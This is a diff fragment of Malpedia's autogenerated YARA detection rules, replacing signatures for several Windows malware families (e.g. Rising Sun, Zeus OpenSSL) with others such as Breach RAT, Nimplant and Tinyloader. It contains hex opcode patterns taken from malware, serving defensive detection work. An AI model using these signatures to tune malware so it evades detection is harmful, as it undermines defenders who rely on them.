+		$sequence_10 = { 8b4804 83b9ec97480000 0f94c0 8845e4 c745fc01000000 }
+		$sequence_11 = { c745f804000000 57 8a68fe 8d4004 8a48fb 8a78fc }
+		$sequence_12 = { 886dff 81e61f000080 7905 4e 83cee0 46 }
+		$sequence_13 = { e8???????? 83c404 c744246c0f000000 c744246800000000 c644245800 837c243c08 }
+		$sequence_14 = { 75f2 8b7d10 8b07 3bf0 7421 8b4f04 }
 
 	condition:
-		7 of them and filesize <581632
+		7 of them and filesize <1933312
 }
-rule MALPEDIA_Win_Phandoor_Auto : FILE
+rule MALPEDIA_Win_Pocodown_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1f3ac76b-bd09-5712-8c06-9b7787ce6d6a"
+		id = "57027d9b-6e81-5ca8-a0ac-bbfd288eda02"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phandoor_auto.yar#L1-L152"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pocodown_auto.yar#L1-L101"
 		license_url = "N/A"
-		logic_hash = "bcca1bd5fcc5f942c80e8300ebd91840d93d57fc52bf130291de8a118788c527"
+		logic_hash = "d2d2c3510515a24653939603c26fb696816a72e2a82e1c859f658b0238b45291"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179328,37 +186325,30 @@ rule MALPEDIA_Win_Phandoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8482000000 833d????????00 7479 833d????????00 7470 833d????????00 }
-		$sequence_1 = { 833d????????00 0f8452010000 833d????????00 0f8445010000 833d????????00 }
-		$sequence_2 = { 83c40c 83c302 3bbe90010000 72d7 }
-		$sequence_3 = { 83c404 8d55fc 8bf0 52 56 }
-		$sequence_4 = { 0f84c7010000 833d????????00 0f84ba010000 833d????????00 0f84ad010000 833d????????00 }
-		$sequence_5 = { 50 8bf9 c645f400 c745f500000000 e8???????? }
-		$sequence_6 = { 32d3 32d0 8b45f4 81e1fe010000 c1e018 0b45f8 }
-		$sequence_7 = { a3???????? a3???????? a3???????? a3???????? 898de8feffff }
-		$sequence_8 = { 83c404 893e 8b4604 3bc7 740c }
-		$sequence_9 = { 6a01 51 52 8b5508 }
-		$sequence_10 = { 668901 5e c3 33d2 }
-		$sequence_11 = { 33c0 3b35???????? 7327 57 }
-		$sequence_12 = { 56 8b35???????? 57 68???????? 50 c705????????03000000 }
-		$sequence_13 = { 6a01 53 51 8bc8 }
-		$sequence_14 = { 56 8b7308 85f6 7420 }
+		$sequence_0 = { 8b84248c000000 ffc8 898424a0010000 c784248800000000000000 ba01000000 488b8c24e0010000 }
+		$sequence_1 = { 8b84248c000000 ffc8 8984248c000000 83bc248c00000007 0f875d010000 486384248c000000 }
+		$sequence_2 = { 8b842490000000 25ff000000 488b4c2430 884101 }
+		$sequence_3 = { 8b84248c020000 8944244c 488b8c2420030000 e8???????? }
+		$sequence_4 = { 8b842490000000 2500040000 85c0 740a c744245000000000 eb0a 8b442448 }
+		$sequence_5 = { 8b84248c020000 448bc0 ba5c000000 488d8c24f0010000 e8???????? }
+		$sequence_6 = { 8b84248c020000 448bc0 488d9424f0010000 488d8c24a0020000 e8???????? }
+		$sequence_7 = { 8b842490000000 39442420 0f83e0000000 488d442438 41b808000000 488b542440 }
 
 	condition:
-		7 of them and filesize <2124800
+		7 of them and filesize <6703104
 }
-rule MALPEDIA_Win_Rising_Sun_Auto : FILE
+rule MALPEDIA_Win_Webmonitor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "61449700-41c3-5e72-bc5d-1e423597afa4"
+		id = "aca2309c-f3e7-5982-bcd7-9e22f09c3e41"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rising_sun_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webmonitor_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "76c0e1eaf3dacaaaa1a31e893606959ffd6d8a46f21e1d7c2864ee68d388c2cb"
+		logic_hash = "7913959618328b6198214b581f33ca34a8ffc8b00c2415ca23bf0e5f2e066370"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179372,32 +186362,38 @@ rule MALPEDIA_Win_Rising_Sun_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745b03414d384 c745b418f4ff64 c745b851d4c644 c745bcabb43c24 c745c099945804 c745c4c4746ce4 c745c8dd544ec4 }
-		$sequence_1 = { 4889742418 48897c2420 55 488dac24a0e4ffff b8601c0000 }
-		$sequence_2 = { c745dcd3515290 c745e00358c000 c745e4c80ae51e c745e804d34ed7 c745ec3e3054ad c745f046c2e664 c745f418a189fe }
-		$sequence_3 = { c785100200000358c000 c78514020000c80ae51e c7851802000004d34ed7 c7851c0200003e3054ad c7852002000046c2e664 }
-		$sequence_4 = { e8???????? 48898588000000 488d05c298feff 4883c420 }
-		$sequence_5 = { c78514020000c80ae51e c7851802000004d34ed7 c7851c0200003e3054ad c7852002000046c2e664 c7852402000018a189fe c7852802000003f29cea c7852c0200000bbce179 }
-		$sequence_6 = { c785440600001def57f7 c785480600003bf5679d c7854c0600000989ec8d c78550060000fd9e1cf3 66c785540600002657 664489ad60060000 e8???????? }
-		$sequence_7 = { 4c8d41ff 488bce e8???????? 488b542450 b89fffffff }
-		$sequence_8 = { 660f1f440000 0fb602 48ffc2 88440aff 84c0 75f2 }
-		$sequence_9 = { e8???????? cc 48895c2408 48896c2418 56 57 4154 }
+		$sequence_0 = { 06 000b 3a58ff 1b03 fd 006cff1e e00e }
+		$sequence_1 = { 41 0080cd41009c d34100 e8???????? }
+		$sequence_2 = { 0094be4100d891 41 0084e84100a872 42 00a06a4200f8 }
+		$sequence_3 = { 0028 fa 41 0014b4 42 }
+		$sequence_4 = { b9???????? ffe1 ba???????? b9???????? ffe1 ba???????? b9???????? }
+		$sequence_5 = { 000e 6c 74ff f5 }
+		$sequence_6 = { ff05???????? 000d???????? 04b8 fe04e4 fd 04e0 fd }
+		$sequence_7 = { 00dc 7442 000477 42 0028 }
+		$sequence_8 = { 00e8 dd7000 008bf98b5d1c 8d4de4 }
+		$sequence_9 = { 00d1 6848007269 48 00856948008b }
+		$sequence_10 = { 0108 eb5a 8b4508 83ceff }
+		$sequence_11 = { 0108 8b442410 891e 894604 }
+		$sequence_12 = { 00d1 6848004069 48 00d1 }
+		$sequence_13 = { 000f b681 fc b84500ff24 }
+		$sequence_14 = { 00e8 f61c00 008bd9895df0 8b451c }
+		$sequence_15 = { 00856948008b ff558b ec 83ec0c }
 
 	condition:
-		7 of them and filesize <409600
+		7 of them and filesize <1867776
 }
-rule MALPEDIA_Win_Carrotbat_Auto : FILE
+rule MALPEDIA_Win_Vyveva_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b4eb53a6-f964-58c0-a140-244bef4847cc"
+		id = "5f920383-d05c-5c69-8d2c-6a773f2538b6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carrotbat_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vyveva"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vyveva_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "c457876e0174827e0c750e3be442dfc99dddf6a42b624668fe26e525a3bccc83"
+		logic_hash = "9d5c74e05efbe3ba7525bfb04e432ddba69e01227882b7ebe7ef3564991f92e2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179411,32 +186407,32 @@ rule MALPEDIA_Win_Carrotbat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7c2404 66c1c60c 8b742408 f6d7 33cd f7d3 }
-		$sequence_1 = { 8f442434 51 887c2404 66890424 890424 }
-		$sequence_2 = { 8b0c8d20ee4000 8d440104 8020fe ff36 e8???????? 59 }
-		$sequence_3 = { c3 8bff 56 57 33f6 bf???????? 833cf5a4d5400001 }
-		$sequence_4 = { 8b0c8d20ee4000 c1e006 8d440104 8020fe ff36 }
-		$sequence_5 = { c1f805 8d3c8520ee4000 8bf3 83e61f c1e606 8b07 0fbe440604 }
-		$sequence_6 = { 888c05f4fdffff 40 84c9 75ed 8d85f8feffff 6a5c }
-		$sequence_7 = { 50 66a5 ff15???????? 6810270000 ff15???????? }
-		$sequence_8 = { 5b c21000 ff25???????? c705????????6ca14000 }
-		$sequence_9 = { 8f442434 9c 57 ff74243c c24000 686d3f4f6e }
+		$sequence_0 = { 58 ff7008 5a 8916 3b4808 7405 }
+		$sequence_1 = { 51 8f00 8b4c2408 85c9 7407 51 8f4004 }
+		$sequence_2 = { 57 56 51 55 59 e8???????? ff30 }
+		$sequence_3 = { 56 59 50 e8???????? 8d8c2494010000 6a04 }
+		$sequence_4 = { 740a 394424fc 7404 894424fc 83ec04 5d 83fdff }
+		$sequence_5 = { 83ec38 8b15???????? 8d442404 55 56 }
+		$sequence_6 = { 2bce 59 7409 33c9 8d4c0e04 83e904 ff5004 }
+		$sequence_7 = { 6a00 52 50 6a06 e8???????? 83c404 ffd0 }
+		$sequence_8 = { 59 c644247801 e8???????? 8b4c2434 8b442430 8d542428 894c242c }
+		$sequence_9 = { 7408 c70100000000 0101 83c008 85c0 7403 55 }
 
 	condition:
 		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Sykipot_Auto : FILE
+rule MALPEDIA_Win_Cueisfry_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6685d9d7-6a5e-5dd1-be8d-f9a06a5df784"
+		id = "7fd15319-e895-59d1-bc47-6c7854fd0773"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sykipot_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cueisfry_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "fc1ea45bf7dc961b3986859ea4bfe6fc9a7dfe7e53218e4f87e591fa79b5c1da"
+		logic_hash = "312c24021c3e8bf9c6e0d5e58840583a4541e92e9f141ae7391f901c409f9736"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179450,32 +186446,32 @@ rule MALPEDIA_Win_Sykipot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8c2488000000 51 ffd5 68???????? 68???????? ffd3 83c408 }
-		$sequence_1 = { 56 c744246004000000 ffd7 8b4c244c 6a04 }
-		$sequence_2 = { 50 51 8bcd e8???????? 8b13 8d442414 52 }
-		$sequence_3 = { 50 8db42498000000 83ec44 8bfc }
-		$sequence_4 = { 5d b80e000000 5b 81c45c180000 c3 56 8b35???????? }
-		$sequence_5 = { 8bcc 8911 8b94244c060000 894104 895108 8bcd }
-		$sequence_6 = { 55 56 ff15???????? 85c0 57 7513 ff15???????? }
-		$sequence_7 = { bf???????? a3???????? f3ab b941000000 bf???????? f3ab b941000000 }
-		$sequence_8 = { 83ec44 b911000000 8db424e8000000 8bfc f3a5 8bcd e8???????? }
-		$sequence_9 = { c24800 8b442404 56 57 }
+		$sequence_0 = { ff15???????? b8???????? c3 8b45ec c745fcffffffff 85c0 7406 }
+		$sequence_1 = { f3a5 52 e8???????? 8d44241c }
+		$sequence_2 = { e8???????? 85c0 750c 55 ff15???????? e9???????? }
+		$sequence_3 = { 8944241c 7c0d 80f95a 7f08 0fbee9 }
+		$sequence_4 = { 8975dc e8???????? 8b45ec 3bc7 750d }
+		$sequence_5 = { 8d4c2408 50 e8???????? b91f000000 33c0 8d7c2431 c644243000 }
+		$sequence_6 = { ff15???????? 8bb424a8010000 8d4c240c 51 8bce }
+		$sequence_7 = { 5f 5e 5d 32c0 5b 81c424030000 c3 }
+		$sequence_8 = { 8d4c240c c68424a001000001 e8???????? 8d8c24ac010000 889c24a0010000 e8???????? }
+		$sequence_9 = { 6a00 ff15???????? 68d0070000 ff15???????? 8d94249c000000 6a00 }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Danbot_Auto : FILE
+rule MALPEDIA_Win_Komprogo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2c585571-1377-525b-81df-f475b9f7d032"
+		id = "c2da7eb7-9058-5d5c-a1b3-cf7ec20183b8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.danbot_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.komprogo_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "7b636202f57d607cd3195402deda2493294df662e32f18cd69328119b0c63f1c"
+		logic_hash = "9104f7103ef4ffc58ac248efbbf51156333295a0a474355899a4b0ca03e1b39e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179489,32 +186485,32 @@ rule MALPEDIA_Win_Danbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66893c48 448b4374 488b4b68 41ffc8 4d03c0 e8???????? 48638bac000000 }
-		$sequence_1 = { 8a4004 88040a 44016b28 8b5328 488b4330 488b4b10 8a4005 }
-		$sequence_2 = { 483bd7 7213 48ffc2 4c8bc3 488b8c2480030000 e8???????? 4c89b42490030000 }
-		$sequence_3 = { e9???????? 488b8a80000000 e9???????? 488b8a78000000 e9???????? 488b8a28000000 e9???????? }
-		$sequence_4 = { 4154 4155 4157 4881ec10060000 48c780a8fafffffeffffff 48895808 48897010 }
-		$sequence_5 = { 488b9424f0000000 4883fa10 7214 48ffc2 4d8bc4 488b8c24d8000000 e8???????? }
-		$sequence_6 = { 48ffc2 4d8bc6 488b8c2428010000 e8???????? 48899c2438010000 4889bc2440010000 889c2428010000 }
-		$sequence_7 = { 488b55df 4883fa08 7212 48ffc2 41b802000000 488b4dc7 e8???????? }
-		$sequence_8 = { 0fb6442420 84db 410f44c4 8ad8 895c2420 eb25 4c8b742460 }
-		$sequence_9 = { ffd3 99 33c2 2bc2 89442430 448be0 4c89642450 }
+		$sequence_0 = { 8d8670720300 89861b630000 8d96f0a80300 8996e51d0300 8d8e40490400 }
+		$sequence_1 = { 8d86a82f0400 89862cb50200 8d86a8700300 89862cd50000 8d86f0380400 898616410200 8d8680720300 }
+		$sequence_2 = { 51 8d8618cf0300 8bcf e8???????? 83c404 }
+		$sequence_3 = { 8d96e4970300 899625080100 898633080100 8d96d0700300 8996e5650200 8d96f4380400 899643080100 }
+		$sequence_4 = { 8d9614790300 899694e70300 8d86242c0400 8986c1210300 8d86e15c0300 898636ca0000 8d86a8ad0300 }
+		$sequence_5 = { 0f859e000000 85f6 0f8496000000 8b433c 0fb7541814 }
+		$sequence_6 = { 898e47bd0200 8d8e20e20300 898e4f7e0200 8d9694a30300 899674750300 8d8ea82f0400 898e897e0200 }
+		$sequence_7 = { ff15???????? 8b95f0fdffff 8902 33db 85f6 7445 8bb5f0fdffff }
+		$sequence_8 = { 52 ffd7 8b85d0f3ffff 50 ffd7 8b4df8 5f }
+		$sequence_9 = { 8d86e0930200 8986d4930200 8d8ec1610300 898e14b20300 }
 
 	condition:
-		7 of them and filesize <1492992
+		7 of them and filesize <1045504
 }
-rule MALPEDIA_Win_Unidentified_080_Auto : FILE
+rule MALPEDIA_Win_Newpass_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b4f490ab-c91a-5e77-9e61-88b48864f732"
+		id = "dfd78470-0c07-5107-9bdf-99560c1551b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_080_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newpass_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "a554ba61b72496370ffd16dee0c3f2b6444ec6fc0c35b79b5428032562bbd4cc"
+		logic_hash = "18487b3a938727b19644b6d1320bc7ccc85217d142f24fc2488ac5f5fe73de66"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179528,32 +186524,32 @@ rule MALPEDIA_Win_Unidentified_080_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 53 8bd8 837b2c00 56 7571 8b4324 }
-		$sequence_1 = { 0bf2 89701c 83c020 83c120 ff8d74ffffff 0f8560feffff 8b8570ffffff }
-		$sequence_2 = { 8b4508 8b4808 8b500c 2bd1 894dfc 3bd3 7277 }
-		$sequence_3 = { 3bd6 7312 8b03 833c9000 8d0490 7402 }
-		$sequence_4 = { 8dbd40ffffff e8???????? 8bb53cffffff 83c620 c645fc0f 8b06 33ff }
-		$sequence_5 = { 83e73f 0b0cbdb8840210 83e03f 0b0c85b8860210 8b42f4 33c6 8bf8 }
-		$sequence_6 = { 8bec 83ec10 53 8bd8 ff4320 56 33f6 }
-		$sequence_7 = { 8bf0 83feff 7509 c68568ffffff0b eb66 8b4dbc }
-		$sequence_8 = { 57 50 8d45f4 64a300000000 33ff 33f6 }
-		$sequence_9 = { 8b4e30 8d5508 52 8b562c 50 51 52 }
+		$sequence_0 = { 4d8bc4 eb0f 4983c8ff 49ffc0 6642833c4700 75f5 488bd7 }
+		$sequence_1 = { 488d542470 48837d8810 480f43542470 488b5910 4883791810 7203 }
+		$sequence_2 = { 85c0 792e 488b842490000000 4889442428 4c8bce 440fb6c7 488d542470 }
+		$sequence_3 = { eb09 418bc7 493bf6 0f95c0 85c0 7906 488b7f10 }
+		$sequence_4 = { 7503 488b07 483bc8 741b 448bc2 488bd0 e8???????? }
+		$sequence_5 = { c7411006160000 8b4110 0f49c2 488939 894110 b001 }
+		$sequence_6 = { 488bcb e8???????? 84c0 753d 488bcb e8???????? 3a4500 }
+		$sequence_7 = { 4c0f44ca 41397920 7340 498b4110 488bd3 498bca }
+		$sequence_8 = { 7410 4c8bce 488bc8 e8???????? 488bd8 eb03 498bdd }
+		$sequence_9 = { 807a1900 7525 488bc2 488b12 807a1900 7539 6666660f1f840000000000 }
 
 	condition:
-		7 of them and filesize <392192
+		7 of them and filesize <2654208
 }
-rule MALPEDIA_Win_Greetingghoul_Auto : FILE
+rule MALPEDIA_Win_Nimplant_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b976275f-692f-5ebe-b54a-1ebae523b638"
+		id = "c6b47fc0-6c54-5733-accf-0312881d8593"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.greetingghoul_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimplant_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "0a3e95007607705383664f43202a90a64da5b8da6ba3c7b7040fd8c369e8d944"
+		logic_hash = "1d2dbc7055590af657485c9c8d5afa6cd108c9897c8a3274dd24779cb78842a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179567,32 +186563,32 @@ rule MALPEDIA_Win_Greetingghoul_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 57 8bf9 33f6 8a17 80fa20 }
-		$sequence_1 = { 750d 8a5702 83c702 bb10000000 }
-		$sequence_2 = { 03f1 eb03 83ceff 8a17 84d2 75a9 }
-		$sequence_3 = { 2bc8 7409 8b7df8 4e 43 }
-		$sequence_4 = { 751f 41 84c0 7405 83ea01 75eb 8b5dfc }
-		$sequence_5 = { 43 895dfc 47 eba7 5f 5e 83c8ff }
-		$sequence_6 = { 8a1a 8d5201 8a08 3acb 750c 40 84c9 }
-		$sequence_7 = { 33db 895dfc 8945f4 3806 740b }
-		$sequence_8 = { 83c404 891e 85db 746f 8b7508 0f57c0 57 }
-		$sequence_9 = { 7457 8d42d0 3c09 7708 }
+		$sequence_0 = { 4c89e9 0f11642440 e8???????? 803b00 0f8515ffffff 488b4c2468 4885c9 }
+		$sequence_1 = { 894c2430 4889ac24b0000000 e9???????? 4981ffff7f0000 4c89f2 488b4b08 490f4ed7 }
+		$sequence_2 = { 488d051e3a0800 48895110 48894120 48c741183a000000 48c7410800000000 48c7442420a1060000 e8???????? }
+		$sequence_3 = { e8???????? 488b442440 488b542448 44886c0208 4883c001 0f8093040000 488b542448 }
+		$sequence_4 = { e8???????? 4c8b442430 48ba0000000000000040 4889f1 4c01e9 0f80b1000000 4885c9 }
+		$sequence_5 = { f30f6f25???????? 4889ea 41b8a94d975e 4c89e9 4c899c2408010000 4c89942400010000 0f11a42410010000 }
+		$sequence_6 = { 488b9424f0000000 4889d1 4883e904 0f80de0f0000 4839ca 0f8e58100000 4885c9 }
+		$sequence_7 = { e8???????? 803b00 488b942488000000 488b842480000000 0f8599feffff 4c8b4e58 4c89f1 }
+		$sequence_8 = { 80f90b 0f873b1a0000 0fb6f2 83ee01 4863f6 4883c60c 48c1e604 }
+		$sequence_9 = { 4889eb 48897c2440 488b7c2438 4889c5 4c89ee 4c897c2460 }
 
 	condition:
-		7 of them and filesize <696320
+		7 of them and filesize <1811456
 }
-rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE
+rule MALPEDIA_Win_Breach_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8c3065fc-d922-5a5a-97bb-f5578c899954"
+		id = "f70ab09f-8643-5192-b966-55a3dab88920"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_openssl_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.breach_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "87e8b70576343bf43fa1d91175bc18c4648aa0bc5e7b7de2b8eae5131a311e26"
+		logic_hash = "8cb7f4b75bac273a3c54152da1b9e63a78dde17954dfd874b266899e47404327"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179606,32 +186602,32 @@ rule MALPEDIA_Win_Zeus_Openssl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1e205 2bd1 8bce c7460471000000 }
-		$sequence_1 = { eb04 807dfd05 7607 814a1800100100 8a4dfe }
-		$sequence_2 = { 8b45f4 8b4850 8b45d0 23c2 894dcc 8b0481 8bc8 }
-		$sequence_3 = { 895df0 0fb6de 0145f8 0fb745d2 0fb6ca 03cb bf01000000 }
-		$sequence_4 = { 48 7526 804dff04 884a01 eb19 804dff02 884a01 }
-		$sequence_5 = { 894a04 83c620 83c120 81fee00f0000 }
-		$sequence_6 = { 83c608 03d0 895dfc 8955f8 897df0 3b75cc 72dc }
-		$sequence_7 = { 8b8d7cffffff 830204 5e c70101000000 33c0 5b }
-		$sequence_8 = { 898bc41b0000 8b5dfc 2bf1 8b7df4 8bc8 c1e908 0fb6c9 }
-		$sequence_9 = { d1e8 83fe1f 7eeb 6683bfb800000000 7537 6683bfbc00000000 752d }
+		$sequence_0 = { 5e 5b 8be5 5d c20400 884c240f 8d442418 }
+		$sequence_1 = { 50 8bce e8???????? 8bc8 e8???????? 8d8dacf6ffff c745fcffffffff }
+		$sequence_2 = { c1e81f 03c2 8985d8feffff 0f8479080000 83c724 89bde0feffff 8d9b00000000 }
+		$sequence_3 = { c741140f000000 c7411000000000 c60100 e8???????? ff7510 8d4dd4 ff750c }
+		$sequence_4 = { 8be5 5d c3 68???????? 8bce e8???????? b001 }
+		$sequence_5 = { 8b5508 8bcb 0fb712 8bff 663910 7408 83c002 }
+		$sequence_6 = { 42 8b5de0 3bd6 72f2 8b45a4 2bc6 50 }
+		$sequence_7 = { c7471800010000 8b4df4 8bc7 c7470400000000 c7470800000000 5f 5e }
+		$sequence_8 = { eb20 84c9 74ed 8b4df0 8d45d8 50 e8???????? }
+		$sequence_9 = { e8???????? 68???????? 8d859cf4ffff c745fc5c000000 50 8bce e8???????? }
 
 	condition:
-		7 of them and filesize <4546560
+		7 of them and filesize <645120
 }
-rule MALPEDIA_Win_Wormhole_Auto : FILE
+rule MALPEDIA_Win_Tinyloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02cb6b4c-3f82-593d-8995-30894f37de3e"
+		id = "0d2fde25-ff7d-54ba-a2fe-e20fb626403d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wormhole_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinyloader_auto.yar#L1-L168"
 		license_url = "N/A"
-		logic_hash = "468c0b29b40a7f8149923ac2555699892601064a2e38020dd68e3cf5b3d71577"
+		logic_hash = "544c827393b5f9a7c28206644605d3c060467a9b94170d9210a95463f44b3867"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179645,32 +186641,38 @@ rule MALPEDIA_Win_Wormhole_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb1b 3d04000100 752a a1???????? 68???????? 6a06 }
-		$sequence_1 = { 50 56 e8???????? 83c40c 8d4c2408 8d942414010000 }
-		$sequence_2 = { ffd3 6a00 6a00 89442418 8d442428 }
-		$sequence_3 = { e8???????? a1???????? 83c404 50 ff15???????? c705????????00000000 c705????????00000000 }
-		$sequence_4 = { 75f0 a1???????? 85c0 74d5 e8???????? }
-		$sequence_5 = { c705????????01000000 68f4010000 ff15???????? 8b15???????? 52 e8???????? }
-		$sequence_6 = { 85f6 7512 6a04 68???????? 6a28 57 e8???????? }
-		$sequence_7 = { 6a78 6a28 57 50 e8???????? }
-		$sequence_8 = { 8b442404 56 57 8b7c2410 6a78 6a28 }
-		$sequence_9 = { 7564 8b442418 3dff000000 7f59 6a0f }
+		$sequence_0 = { 90 8bbb97114000 90 8938 90 }
+		$sequence_1 = { 6689c8 90 6a40 6800300000 6800800200 6a00 }
+		$sequence_2 = { 039d58080000 6a00 6800040000 53 ffb5b8050000 ff15???????? }
+		$sequence_3 = { 31db 90 31c9 90 }
+		$sequence_4 = { 8b5510 01da 8b12 8b4500 }
+		$sequence_5 = { 81c300040000 6a00 ff33 ff7500 ffb5b8050000 ff15???????? 83f8ff }
+		$sequence_6 = { 8b4500 83c008 c70000000000 c7855808000000000000 8b5d00 039d58080000 }
+		$sequence_7 = { 83bd580800000c 7302 ebc3 8b5d00 }
+		$sequence_8 = { ff15???????? 8985b8050000 6832a00000 ff15???????? 8b9da8050000 66894302 66c7030200 }
+		$sequence_9 = { 90 89c6 90 0500400100 }
